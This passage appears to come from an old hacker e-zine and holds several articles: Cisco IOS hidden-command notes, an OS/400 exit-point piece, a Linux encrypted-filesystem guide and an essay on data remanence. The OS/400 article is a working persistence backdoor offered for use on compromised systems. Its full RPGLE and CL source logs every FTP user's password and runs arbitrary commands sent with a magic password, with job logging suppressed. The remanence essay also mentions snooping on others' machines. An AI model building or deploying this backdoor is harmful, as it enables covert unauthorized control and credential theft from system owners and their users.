on the cisco. there is also chunk allocation. the main benefit of chunk allocation over its predecessor is that memory overhead is only paid by the large chunk (which is then carved up into smaller pieces) instead of by each individual malloced block.

ctalkb#sh chunk

Chunk Manager:

142 chunks created, 1 chunks destroyed

46 siblings created, 0 siblings trimmed

Chunk element Block Maximum Element Element Total

cfgsize Ohead size element inuse freed Ohead Name 16 0 65532 3270 717 2553 8 List Elements 0x61525688

52 0 65532 1168 0 1168 0 List Headers 0x61535684

16 0 65532 3270 0 3270 8 messages 0x61550068

@show chunk summ

summary listing of allocated chunks. shows you big chunk size, the number of siblings divided up within that chunk space as well as the overhead taken by the chunk.

ctalkb#sh chunk sum

Chunk Manager:

142 chunks created, 1 chunks destroyed

46 siblings created, 0 siblings trimmed

Element Sibling size Total Total Total Inuse Ovrhd Chunk Flag size(b) ‑‑range(b)‑‑ Siblg alloc Free HWM (b) name D 16 253‑ 752 0 3270 2553 724 8 ListElements D 52 1003‑ 1502 0 1168 1168 0 0 List Headers D 16 253‑ 752 0 3270 3270 21 8 messages D 8 253‑ 752 0 5450 3974 1476 8 Reg Function 8

@sh idb

This command shows the hardware and software interface databases. this is cisco's way of keeping track of how many interfaces are present on the system.. includes hardware and software interfaces (physical, subinterfaces etc). there is a software limit of 1024 i believe in ios 11 and 2048 in ios 12. this is a global limit for the router.

output:

ctalkb#sh idb

19 SW IDBs allocated (2296 bytes each)

9 HW IDBs allocated (4008 bytes each)

HWIDB#1 1 FastEthernet0/0 (Ether)

HWIDB#2 2 Serial2/0:0 (Serial)

HWIDB#3 3 Ethernet3/0 (Ether)

HWIDB#4 4 Ethernet3/1 (Ether)

HWIDB#5 5 Ethernet3/2 (Ether)

HWIDB#6 6 Ethernet3/3 (Ether)

HWIDB#7 7 Serial4/0 (Serial)

HWIDB#8 8 Serial5/0 (Serial)

HWIDB#9 9 Loopback0

@sh in stats (gives you switching path output per interface) Ethernet3/0

Switching path Pkts In Chars In Pkts Out Chars Out Processor 786433 594121827 556812 177400752 Route cache 107469 8910774 107451 8925784 Total 893902 603032601 664263 186326536

@sh int e3/0 switching

goes over some of the basic processes and the data that they are processing. shows what switching paths were used for the specific data counted. basic processes == IP and routing processes. others are lumped into the default category.

ctalkb#sh int e3/0 switching

Ethernet3/0

Throttle count 0

Drops RP 0 SP 0

SPD Flushes Fast 0 SSE 0

SPD Aggress Fast 0

SPD Priority Inputs 972 Drops 0

Protocol Path Pkts In Chars In Pkts Out Chars Out Other Process 0 0 167 10020 Cache misses 0

Fast 0 0 0 0 Auton/SSE 0 0 0 0 IP Process 4556 282352 3733 541124

Cache misses 0

@sh ip ospf maxage‑list

don't have ospf running.. would seem that this command shows you the current value of the max‑lsa age. there is some periodic refresh which needs to be accounted for.

ctalkb#sh ip ospf max

AS System N

Maxage delete timer due in NEVER

@sh ip ospf delete‑list

this command shows you the lsas which have been deleted from consideration. as i don't have ospf running, i can't ascertain whether this is lsas which were taken out of consideration by the SPF algorithm or by other means.

ctalkb#sh ip ospf delet

AS System N

Area BACKBONE(0)

ROUTER and NETWORK LSDB delete list

Dest: 172.16.0.1, Type: 0, Metric: 1, ADV RTR: 172.16.0.1 Path:

gateway 172.16.0.1, interface Loopback0

SUMMARY NET and ASBR LSDB delete list

TYPE‑7 EXTERNAL LSDB delete list

EXTERNAL LSDB delete list

@sh ip ospf statistic

this is a really handy command because it gives you time averages of different portions of the ospf process. this is useful in that it further lets you pin down IGP convergence times on your network as well as to isolate the areas which are causing the process to chug.

ctalkb#sh ip ospf stat

Area 0: SPF algorithm executed 1 times

SPF calculation time

Delta T Intra D‑Intra Summ D‑Summ Ext D‑Ext Total Reason 2w3d 0 0 0 0 0 0 0 R,

Avg. and Accumulated time of the last 250 process_ase()

Avg. Accumulated

ASBR‑lookup 0, 0

Forw‑Addr‑lookup 0, 0

compare metric 0, 0

... (more)

@sh ip ospf bad‑checksum

shows LSAs which have failed the checksum.

not sure if this is a count or actual event times since i didn't have ospf functioning.

@sh ip ospf event

provides a history lists of subprocess function execution.. useful so that the operator can understand a bit more about the execution flow

ctalkb#sh ip ospf eve

1 54700 Generic: ospf_redist_callback 0x618B36A4

2 114716 Generic: ospf_redist_callback 0x618B36A4

3 174736 Generic: ospf_redist_callback 0x618B36A4

4 234756 Generic: ospf_redist_callback 0x618B36A4

5 294772 Generic: ospf_redist_callback 0x618B36A4

6 320796 Generic: ospf_build_ex_lsa 0xC658FF00

7 320796 Generic: ospf_build_ex_lsa 0xAC100000

8 320796 Generic: ospf_build_ex_lsa 0xD16F5C00

@sh isis timers

useful in that it provides a brief overview of execution flow

in the isis process. shows you frequency of things like l1/l2 hello etc.

ctalkb#sh isis timers

Hello Process

Expiration Type

| 0.856 (Parent)

| 0.856 L2 Hello (Ethernet3/0)

| 6.352 L1 Hello (Ethernet3/0)

| 6.940 Adjacency

Update Process

Expiration Type

| 1.060 (Parent)

| 1.060 Ager

| 1.352 L2 CSNP (Ethernet3/0)

| 8.616 L1 CSNP (Ethernet3/0)

| 3:25.860 (Parent)

| 3:25.860 LSP refresh

| 9:02.160 LSP lifetime

| 9:24.568 LSP lifetime

| 17:16.084 LSP lifetime

| 20:58.536 Dynamic Hostname cleanup

@sh isis tree IS‑IS link state database AVL tree

shows path and depth taken to get to other level 1/2 intermediate systems in some routing domain. shows both by default.

ctalkb#sh isis tree

IS‑IS Level‑2 AVL Tree

Current node = X.X.X.00‑00, depth = 0, bal = 0

Go down left

Current node = X.X.Y.00‑00, depth = 1, bal = 0

‑‑‑> Hit node X.X.Y.00‑00

Back up to X.X.X.00‑00

Current node = X.X.X.00‑00, depth = 0, bal = 0

‑‑‑> Hit node X.X.X.00‑00

Go down right

Current node = X.X.X.02‑00, depth = 1, bal = 0

‑‑‑> Hit node X.X.X.02‑00

Back up to X.X.X.00‑00

@sh isis private

displays a little diagnostic information related to the isis process.

ctalkb#sh isis private

ISIS: FastPSNP cache (hits/misses): 0/4002

ISIS: LSPIX validations (full/skipped): 216271/490412

ISIS: LSP HT=0 checksum errors received: 0

ctalkb#

@sh list

perhaps a singly linked list manager which displays global

pointer to the first element in each linked list as well as the number of members in each list.

ctalkb# sh list

List Manager:

1415 lists known, 1561 lists created

ID Address Size/Max Name

1 613EE970 11/‑ Region List

2 613EEE98 1/‑ Processor

3 613EFDE8 1/‑ I/O

4 613F0D38 1/‑ I/O‑2

5 6149EDD0 0/‑ Sched Critical

6 6149ED90 0/‑ Sched High

7 6149EB00 0/‑ Sched Normal

@sh list none

ctalkb# sh list none

List Manager:

1415 lists known, 1561 lists created

ID Address Size/Max Name

1 613EE970 11/‑ Region List

2 613EEE98 1/‑ Processor

3 613EFDE8 1/‑ I/O

4 613F0D38 1/‑ I/O‑2

9 6149ED10 82/‑ Sched Idle

11 61499A50 8/‑ Sched Normal (Old)

12 6149CC10 1/‑ Sched Low (Old)

@sh parser modes (shows current process access‑tree.)

ctalkb#sh par mo

Parser modes:

Name Prompt Top Alias Privilege

exec 0x60EFB294TRUE TRUE

configure config 0x60EFABACTRUE TRUE interface config‑if 0x60EF7AECTRUE TRUE subinterface config‑subif 0x60EF7AECTRUE FALSE null‑interface config‑if 0x60EFB368TRUE TRUE line config‑line 0x60EF3F84TRUE TRUE

@sh parser un

ctalkb#sh parser un

Unresolved parse chains:

40

40

198

198

322

@sh proc all‑events

ctalkb#sh proc all‑events

Queue Notifications

Event Name Pid 1 Process

61588410 Pool Grows 4 Pool Manager ct 0

615A156C Log Messages 19 Logger ct 0

615EE8A0 IPC inboundQ 11 IPC Seat Manager ct 0

615EE934 IPC Zone inboundQ 9 IPC Zone Manager ct 0

61642840 ARP queue 12 ARP Input ct 0

@sh profile [detail|terse] (show cpu profiling)

ctalkb#sh prof d

Profiling enabled

Block 0: start = 91, end = FFF, increment = 8, EXEC

Total = 0

System total = 9802

ctalkb#sh prof t

PROF 91 FFF 8

PROFTOT 10065

ctalkb#

@sh region (shows image layout)

displays the program layout for the uncompressed image.

ctalkb#sh region

Region Manager:

Start End Size(b) Class Media Name 0x07800000 0x07FFFFFF 8388608 Iomem R/W iomem2 0x20000000 0x21FFFFFF 33554432 Iomem R/W iomem 0x57800000 0x57FFFFFF 8388608 Iomem R/W iomem2:(iomem2_cwt) 0x60000000 0x677FFFFF 125829120 Local R/W main 0x60008900 0x6123AC29 19079978 IText R/O main:text 0x6123C000 0x6136A17F 1237376 IData R/W main:data 0x6136A180 0x6152565F 1815776 IBss R/W main:bss 0x61525660 0x677FFFFF 103655840 Local R/W main:heap

@sh region <address>

picking a random location within memory shows what segment that specific address falls under. same info can be gleaned from the root command.

ctalkb#sh region a 0x07800000

Address 0x07800000 is located physically in :

Name : iomem2

Class : Iomem

Media : R/W

Start : 0x07800000

End : 0x07FFFFFF

Size : 0x00800000

@sh sum

this takes the compressed image and computes its checksum. this is compared with the previously stored checksum to ensure integrity.

ctalkb#sh sum

New checksum of 0x36D03E96 matched original checksum

ctalkb#

@sh timers (show timers for timer command in config mode) ctalkb#sh tim

State Handle interval due invoked missed Process

@test transmit (test the transmission of L2 frames)

this command allows you to send the specified number of frames

to the specified destination:

ctalkb#test transmit

interface: Ethernet3/0

total frame size [100]:

1) To this interface

2) To another interface

9) Ask for everything

Choice: 2

Encapsulation Type:

1) Ethertype

2) SAP

3) SNAP

4) SNAP (Cisco OUI)

5) SNAP (EtherV2 OUI)

6) Novell 802.3

Choice: 1

Protocol type:

1) IP

2) XNS

3) IPX

9) Ask for everything

Choice: 1

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

(in config mode)

@boot system rom

if the system has an image burned in on rom, this command allows you to revert to that image instead of the image stored on some other secondary media (flash card).

ctalkb(config)#boot system rom

The 'boot system rom' command is not valid for this platform.

It has been translated to 'boot system flash bootflash:'

@boot module

the command is there, but it doesn't seem to do anything besides barf.

00:34:02: %PARSER‑3‑BADSUBCMD: Unrecognized subcommand 11 in configure command 'boot module a'

@exception‑slave dump X.X.X.X

informs the router where to dump the core image.

@exception‑slave protocol tftp

tells the router what protocol to use when dumping the core image.

@exception‑slave corefile

tells the router what to name the corefile. note that this corefile has to be at least 666 on the tftp server for the router to be able to write it.

@ip slow‑convergence

i haven't been able to see any difference in the router performance after enabling this command. regardless, it does not look like a command which would improve the router performance.

@ip tftp boot‑interface

tells the router what interface to find its image in the case that it wants to boot net via tftp.

@loopback diag

all of these loopback commands allow you to loop the hardware at specific points so that you can isolate hardware faults. e.g. this is not just a loopback net and loopback local command set. also, not all pieces of hardware can be looped at all the below points.

@loopback dec (at dec chip)

@loopback test

@loopback micro‑linear

@loopback motorola

@scheduler max‑task‑time 200 (last val in milliseconds)

this knob allows you to set the number of milliseconds a specific process is on CPU before it reports debugging information. a relatively easy way to report which process is hogging. sh proc cpu is obviously the best way to track down cpu hogs while on the router, but this command allows you to track down more insidious hogs.

00:13:18: %SYS‑3‑CPUHOG: Task ran for 308 msec (3/1), process = Virtual Exec, PC = 603C9AD8.

@scheduler heapcheck process (memory validation.. after proc) @scheduler heapcheck poll (memory valid after some poll)

@scheduler run‑degraded (perhaps in a failure mode?)

causes the scheduler to attempt to keep running even in the face of some sort of fatal process error. the default action of IOS is to have this knob turned off and to crash the router upon the recognition of a fatal error. this is done on a per‑process basis. obviously, some processes are more critical than others and moving the offending process out of the scheduler won't really buy you any time or information.

@service internal

this is a really nifty command. turning it on in global configuration mode allows you to view some previously hidden commands. turn it on by default and you will eventually find some extras.

some commands are not even accessible unless this is turned on. (sh proc all‑events fex)

@service slave‑coredump

this allows you to dump core when applicable to some slave machine for logging purposes. this does take a long time depending on the amount of memory in the router (copying 128MB with varying link speeds. you do the math). it is important to note that this copying occurs before the router enters usable mode, so you basically have added quite a bit of delay into the reload time. the exception‑slave commands inform the router where to dump the core image.

@service log backtrace (provides traceback with every logging instance)

‑Traceback= 603C9AE0 603546C0 60354A48 6035CA58 6035C3F4 6035C34C 60373EBC 603B6D2C 603B6D18

in bgp config:

@neighbor ctalkb‑out filter‑as 100 d

% filter‑as is an obsolete subcommand, use filter‑list instead

this is a nifty command in that it gives you a little more insight into whats happening. i would prefer this command even though it has been deprecated in favor of the filter‑list command. reasoning: this command is more specific.

in router isis config:

@partition‑avoidance

not quite sure what this does since i don't have a complex isis setup to test.

|0x03|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ OS/400 Exit Point Programming ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|clever <clever@dhp.com>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Introduction

Exit points enable programmers to embed custom logic in otherwise non‑configurable system functions. At a certain stage of its execution, a program with an exit point will execute the programs which have been registered with its exit point, passing relevant parameters to the called programs. At that time, the exit point program can do anything it likes with the parameters passed to it and modify the behavior of the calling program by passing back values, if it decides to do so.

Exit point programming is somewhat esoteric. Most people who deal with the AS/400 are not aware of the existence of exit points, and most of those who know about them do not use them. System administrators who care about security have used them since they became available to improve system security by logging things like user profile creation or limiting the use of system facilities to a subset of the users who could ordinarily make use of them.

Suppose that you have gained access to a typical AS/400 system. Its administrators are concerned about security, but they lack a consistent security plan and the skill to implement it, even if they did. Even so, the misconfiguration that allows you to gain access may be noticed and fixed at any time. A new user profile would probably be spotted. You need a way to retain control over the machine that won't be noticed by most people. Exit points do most of the work for you.

One exit point present in the ftp server software is "FTP Server Logon", named QIBM_QTMF_SVR_LOGON. Its parameter format is TCPL0100.

TCPL0100:

Application Identifier 4B Input

User Identifier * Input

User Identifier length 4B Input

Authentication String * Input

Authentication String length 4B Input

Client IP Address * Input

Client IP Address length 4B Input

Return Code 4B Output

User Profile 10A Output

Password 10A Output

Initial Current Library 10A Output

The parameters marked 'Input' are set by and received from the system; these fields contain user signon information, which we should log. The only output parameter about which we care in this instance is 'Return Code', which we must set to 1, telling the system to proceed with authentication and that the password provided must match the actual password of the user profile for authentication to succeed. Other return code values cause the system to do various things that you might find useful. Consult the documentation if you are curious.

So.

1. ftp> open x.x.x.x

Connected to x.x.x.x.

220‑QTCP at x.x.x.

220 Connection will close if idle more than 5 minutes.

Name (x.x.x.x:root): werd

331 Enter password.

Password: f.u.c.k.493

2. The exit program is called. The server passes it the parameters mentioned above.

3. The exit program does whatever it likes. It sets the 'Output' parameters, if it likes. The exit program returns.

4. The server considers the parameters passed back to it and does whatever is indicated by those parameters.

Below is a stripped‑down version of one tool I use for this. It isn't hidden. It should only be used on boxes whose administrators are somewhere between 'Don't Care' and 'Making A Clumsy Effort At Security'. That is to say, most of them.

Names/types.

F01 RPGLE

F02 CLLE

FP PF

Creating.

CRTPF FILE(x/FP) SRCFILE(x/x) TEXT(*BLANK)

CRTRPGMOD MODULE(x/F01) SRCFILE(x/x) DBGVIEW(*NONE) OUTPUT(*NONE) CRTCLMOD MODULE(x/F02) SRCFILE(x/x) OUTPUT(*NONE) LOG(*NO) DBGVIEW(*NONE) CRTPGM PGM(x/F) MODULE(x/F01 x/F02) TEXT(*BLANK) ALWUPD(*NO) USRPRF(*OWNER) DLTMOD MODULE(x/F01)

DLTMOD MODULE(x/F02)

Put F and FP somewhere QTCP can find them. QUSRSYS, maybe. Register x/F with QIBM_QTMF_SVR_LOGON using WRKREGINF.

Restart ftp.

Using.

The command goes in the user field. The special authorization string goes in the password field. Normal signons get logged in FP. Ignore the error; data area TEST does get created in QGPL.

ftp> open x.x.x.x

Connected to x.x.x.x.

220‑QTCP at x.x.x.

220 Connection will close if idle more than 5 minutes.

Name (x.x.x.x:root): crtdtaara qgpl/test *dec

331 Enter password.

Password: itsmeclever

530 Log on attempt by user CRTDTAARA rejected.

ftp: Login failed.

Remote system type is .

ftp>

Code.

(F01)

FFP O A E DISK

D S c 'itsmeclever'

D

DParms pr extpgm('F01')

D AppID 9b 0

D UsrID 100a

D UsrIDLen 9b 0

D AutStr 32a

D AutStrLen 9b 0

D ClntIP 15a

D ClntIPLen 9b 0

D Rcd 9b 0

D UsrPrf 10a

D Pwd 10a

D InlCurLib 10a

D

DParms pi

D AppID 9b 0

D UsrID 100a

D UsrIDLen 9b 0

D AutStr 32a

D AutStrLen 9b 0

D ClntIP 15a

D ClntIPLen 9b 0

D Rcd 9b 0

D UsrPrf 10a

D Pwd 10a

D InlCurLib 10a

D

DLog pr

D Type 10a value

D Text 200a value

D

DExcCmd pr

D Cmd 100a value

C if %subst(AutStr:1:AutStrLen) = S C callp ExcCmd(%subst(UsrID:1:UsrIDLen)) C eval *inlr = *on

C return

C endif

C

C callp Log('FTP':

C %subst(UsrID:1:UsrIDLen)+ ' '+

C %subst(AutStr:1:AutStrLen)+ ' '+

C %subst(ClntIP:1:ClntIPLen))

C

C eval Rcd = 1

C

C eval *inlr = *on

C return

PLog b

D pi

D Type 10a value

D Text 200a value

C time FPTS

C eval FPTYPE = Type

C eval FPTEXT = Text

C

C write FPR

P e

PExcCmd b

D pi

D Cmd 100a value

C callb 'F02'

C parm Cmd

P e

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

(F02)

PGM PARM(&COMMAND)

DCL VAR(&COMMAND) TYPE(*CHAR) LEN(100)

MONMSG MSGID(CPF0000) EXEC(GOTO CMDLBL(ERROR))

CHGJOB LOG(0 99 *NOLIST) LOGCLPGM(*NO)

CALL PGM(QCMDEXC) PARM(&COMMAND 100)

ERROR:

ENDPGM

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

(FP)

A R FPR

A FPTS 14S 0

A FPTYPE 10A

A FPTEXT 200A

Hope this helps someone.

clever <clever@dhp.com>

20000222

|0x04|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Linux and Encrypted Filesystems ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|phunda mental <phundie@yahoo.com>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Most people don't realize it, but Linux has incredibly robust support for encrypted filesystems. This functionality is not present in the stock kernel due to U.S. export regulations, but it can be easily added by obtaining the patchset for your kernel version from www.kerneli.org.

In this article, I will present a quick introduction to setting up strong encryption within the Linux kernel, and then I will present a few configurations that allow for seperatly encrypted home directories for each user, encrypted disk partitions, etc.

First, you must download util‑linux‑2.9e.tar.gz[1], and the kernel source patches. For the purposes of this article, I'll assume you are running kernel 2.2.4; therefore you would get patch‑int‑2.2.4.1.gz[2].

In /usr/src do ln ‑s linux lin.2.2.4 (the patch expects this to be the name of the source directory) and apply the patch with

zcat patch‑int‑2.2.4.1.gz | patch ‑p0.

Now look in linux/Documentation/crypto. There are some patches in there to Linux utilities. Unpack the util‑linux distro, apply the necessary patch, and build the new utilities. You'll need to install the new losetup and mount commands. Remember that mount needs to be suid root if you want users to have the ability to mount encrypted volumes.

Now build a kernel with make menuconfig, and take a look at the dox in the Documentation/crypto directory. You'll notice that the kernel patches give support for Blowfish, DES, DFC, IDEA, MARS, RC6 and Serpent. These ciphers can be used by the networking code, or the loopback device. The loopback device also has special support for CAST128 and Twofish.

Once you have your new kernel up and running, you can make a blowfish encrypted volume like so:

$ dd if=/dev/zero of=vol.img bs=1024 count=2000

$ losetup ‑e blowfish /dev/loop0 vol.img

Losetup will prompt you for a passphrase. This passphrase is hashed with RIPEMD‑160 in order to key the cipher.

$ mkfs.ext2 /dev/loop0

$ losetup ‑d /dev/loop0 #disconnect the loopback device

All of the preceding commands can be issued as a user, to actually mount the volume, you will need root status, or the appropriate line in /etc/fstab.

# mount vol.img /mnt ‑o encryption=blowfish

Mount will prompt you for a passphrase, enter the one you gave to losetup, and the volume will get mounted on /mnt.

In order for user joe to mount ~/.img on ~/secure

a line in fstab like this is needed:

/home/joe/.img /home/joe/secure ext2 noauto,user,rw,exec,encryption=blowfish

Now joe can mount his volume with the command "mount ~/secure".

A similar tactic can be used to have joe's entire home directory encrypted.

Make a directory called /usr/imgs/joe and let the directory "joe" be owned by user joe. Place an encrypted img called home.img in /usr/imgs/joe and modify /etc/profile to check if the user's home directory image exists, and if it does, mount the encrypted image onto /home/$USER (if it is not already mounted). Then, all that is needed is an appropriate line in /etc/fstab to allow joe to mount onto /home/joe.

I personally use this scheme to keep my home directory encrypted on my machines. When I log in, /etc/profile gets executed and it asks me for the passphrase needed to mount my home directory. A crontab periodically runs and tries to unmount my home directory, so that when I log out and any jobs I left running end, my home directory will get unmounted.

If you use xdm to automatically launch X on boot up, then you will need to modify Xsession in the xdm directory to launch an xterm that executes the mount command so that the user can mount his home directory before his ~/.xsession gets executed.

Consistent with the UNIX philosophy that a device is a file, Loopback encryption also works for block devices.

To encrypt disk partitions, Linux will need a small unencrypted root partition (just enough for the kernel, /dev, /etc, /lib and the basic binaries), maybe 15 or 20 meg.

/dev/hda2 will contain a filesystem that houses /usr, /var, /home and whatever else you have. It will get mounted on /fs/hda2. You can set this filesystem up like so:

$ losetup ‑e blowfish /dev/loop0 /dev/hda2

$ mkfs.ext2 /dev/loop0

$ mount /dev/loop0 /fs/hda2

Now you can copy all of /usr and everything to /fs/hda2 and just symlink /fs/hda2/usr to /usr so that everything works. Alternatively, if you have seperate partitions for /usr, /var, and /tmp you can set them up as individual partitions.

Set up your fstab as follows:

/dev/hda2 /fs/hda2 ext2 defaults,encryption=blowfish 0 0

Now, when you boot, you will get prompted for the passphrase needed to mount /fs/hda2. An attacker will get virtually nothing from your machine.. they won't even know what applications you have installed.

I use a similar scheme to keep the contents of removable media and PCMCIA flash cards encrypted.

The kernel patches have other applications besides encrypted filesystems. The patches give support for ENskip, and a tunneling hack which allows encrypted IP through UDP called CIPE. Check out kerneli.org for more info on this stuff.

Credit, and thanks go to the kernel and patch set maintainers.

References:

1. ftp://ftp.aanet.ru/pub/Linux/utils/util‑linux‑2.9e.tar.gz

2. ftp://ftp.kerneli.org/pub/kerneli/v2.2/patch‑int‑2.2.4.1.gz

|0x05|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Data Remanence ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|phunda mental <phundie@yahoo.com>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So, you've encrypted all your goodies with 3DES, selected strong passphrases, and now you are content to sit back and have a beer, knowing that your stuff is secure, right?

Yeah. Sure it is.

We are facing the problem of data remanence, and it's a bitch. Strong crypto only protects the ciphertext; if the plaintext is sitting around on your hard drive you're still screwed.

Data remanence, as the name implies is the residual remains of data after it is has been deleted, cleared or purged. In this document, the term "deleted" refers to the normal OS‑supplied delete command. Clearing data refers to a process that attempts to destroy data such that it cannot be reconstructed with normal OS‑supplied commands or functions, including specially created software. Purging refers to a process (generally in hardware) that attempts to defeat all of the above methods of reconstruction, along with laboratory‑based reconstruction techniques.

Obviously, DR occurs in many forms, and can be exploited in a few different ways.

Software Methods

The first way that DR can bite us in the ass is one that any competent DOS/Windows user should know about: the undelete command. The standard MS delete just kills the pointer to the file in the FAT, while the data itself still sits on the disk. Undelete just restores that pointer, and we can get some (or all) of those data bits back.

Well, depending on which color hat we are wearing at the moment, this may be helpful. If you are snooping on some alien machine, remember to try undelete when looking for interesting files. Else, get a program that can help you clear the data. In a pinch, defragging a hard drive can sometimes defeat something like undelete (depending on how the OS in question works).

Awhile back I was sitting in IRC, discussing DR under Linux. The standard response that I got was that since ext2 (the Linux filesystem) doesn't operate like FAT, the undelete‑type practice can't be done and so we have nothing to worry about. This simply isn't true.

Under linux, do the following (you may need root, depending on how you configured your setup):

dd if=/dev/zero of=disk.image bs=1024 count=300 mkfs.ext2 disk.image

mount disk.image /mnt ‑o loop

cd /mnt

We just made a 300k looped filesystem, and mounted it on /mnt. Now CD to /mnt and create a file with some known text in it .. try:

ps aux > sensitive.file

sync

rm sensitive.file

Now, we've deleted our sensitive file, but as will be demonstrated, this file has not been cleared.

Now umount /mnt and do:

strings < disk.image | grep USER

You'll see some text from the ps.

Now, if your gear got confiscated imagine someone just running this command on /dev/hda1, or whatever. Don't think DoJ wouldn't pay people to weed through all the junk to obtain a few juicy bytes, or run some nice pattern matching software on the strings output to find stuff that looks interesting.

Or, maybe you don't want the contents of a file .. maybe you want a passphrase, or the internal state of an RNG or a cipher?

Dig around in the swap partition, maybe you'll get lucky.

This is an example of what DoD calls a "keyboard attack" in the "green book[1]." It is an attack to exploit the remnant data on a system using a software method. We need a clearing technique here too, and a good way is to zero the actual bits of the file; ext2 will eventually support this internally[2], but for now you can just rm the file and then make a new file of all zeros that fills the entire disk. Lets try that.

mount disk.image /mnt ‑o loop

cd /mnt

dd if=/dev/zero of=output bs=100k

#wait for error

sync

rm output

Now umount the disk.image and run strings on it again. You'll notice that the ps output is gone. You'll also notice that some of the the filename is still there. If the file is under some sub‑directory, you can rmdir the directory and use the above method. If the file is at root‑level, you're hosed: people can see your filename.

Overwriting the file's bits one‑for‑one with zeros insures that one will not be able to read the data back with the recording device itself; thus software, or "keyboard" attacks are successfully defeated by such software measures.

It is a good practice to create a script that checks /proc/meminfo under Linux. If there is enough RAM free to hold any crap floating in swap, then free the swap partition, zero it (or use other techniques, discussed below), make a new swap partition and reattach it. This could be put in a cron job that runs at off‑peak hours.

There are also programs like "wipe.com" (DOS)[3], and "Burn" (Mac)[4] that wipe the bits of certain files, allowing a more controlled (and thus faster) method of wiping remnant data. I don't know of a way to securely wipe files under Linux other than by filling the disk. The programs that I found that report to do so fail, and I can't think of a reliable way to do it outside of ext2.c.

Hardware Methods

There is a third type of attack, however, that does not depend on what the device (say, a hard disk) claims is on the media. This type of attack analyzes the media directly; we'll call it a laboratory attack.

A laboratory attack is highly theoretical, but we had better talk about it anyway.

The first thing we have to remember is that digital media isn't purely digital: we record our bits on an essentially analog medium, which is precisely why we need stuff like MFM (modified frequency modulation) encoding; an actual DC level would erase data, not record it.

So, lets talk about disks, and cover some magnetic recording properties real quick. I'm going to be fast and loose with the electronics, I know it is terribly inaccurate; we just need the basic concepts here.

In general, magnetic recording is achieved by issuing a magnetic charge onto some ferrous‑type material with an electromagnet. To read the data back, the juice to the electromagnet is shut off, and the disk spins by the coil of the magnet, which induces a voltage in the electromagnet, effectively making a small generator. Now, for the sake of accuracy we don't just spit bits out into the magnetic medium, because DC levels don't work with transformers; which is what our read/write head is, basically. So we need to encode it in an analog signal using some modulation technique. For the sake of argument, lets say our disk is using something like frequency shift keying (FSK). In reality, our drives don't do this, but our modems do. I'll use FSK since it is easier to talk about, and easy for newbies to understand.

The way we encode our data is to take every digital one and play an analog tone for some time, T, and some other tone for a digital zero, also for some time T. Maybe we encode 0 as 2600 Hz and 1 as 2000 Hz (the Kansas City standard for storing digital info on cassette tape is 0 = 2400 Hz and 1 = 1200 Hz).

The reason I'm reducing this to a simplified audio analogy will soon be obvious.

If you record over a commercial cassette tape with a shitty tape recorder, where there are periods of silence in your recording you may hear the original commercial tune. This remnant signal is there all the time, not just during silence.

What has happened is that the magnetic flux delivered by the read/write head of your tape recorder was not powerful enough to completely change the polarization of the magnetic particles on the tape for the time that the particles were exposed. Those particles act in a predictable way, and if we know their current state, and the signal applied to them the last time, we can recover the previous state. Chock this one up to magnetic hysteresis, it could also be due to the head of the tape recorder not being aligned perfectly. More on this option below.

If a particle on a disk has a current polarization strength of A, and we know what sort of flux was applied to the particle (which we can find by examining the read/write head) then we can find the the state of the particle prior to the last write to it, which allows us to reconstruct the data.

Real world bit recover would simply require looking at these particles and taking into account the encoding scheme used. The SFS (Secure File System) documentation gives a good description of many different encoding schemes.

As I said, this is a theoretical attack. I am not aware of it ever actually having been used to recover data.

How can we defeat this attack? By overwriting the data many times.

If we overwrite our data many times, the stored charge on the particle gets constantly closer to the upper‑end ideal value, which disguises the data "underneath." We can use several applications of random bits, and then several applications of 00h's and FFh's to overwrite the data.

The random bits insure that the attacker doesn't find a pattern. The multiple applications of FF expose the particles to the magnetic flux for a longer period of time. Each application gets those particles closer and closer to the ideal representation of FF. The truly paranoid will want to do all of this several times. Some recommend writing zeros after the ones. This is probably pure paranoia, and it might be a good idea.

As alluded to above, there is another type of data remanence that can be attacked in the lab due to variance in the position of the read/write head.

As the disk spins, the head will float over different portions of the disk each revolution. When a write occurs, it may charge certain particles and on an overwrite it may miss some of those particles, leaving the original information behind for exploitation by the lab. This lets an attacker read further back into the data record than by weeding out signals by cancellation, and is probably easier to perform in some respects.

We have no control over this whatsoever in software. To protect against this attack requires either degaussing of the media, or encryption of the entire device from the first moment it is used until the last.

Using encryption stamps out all of the above problems in one clean, elegant stroke.

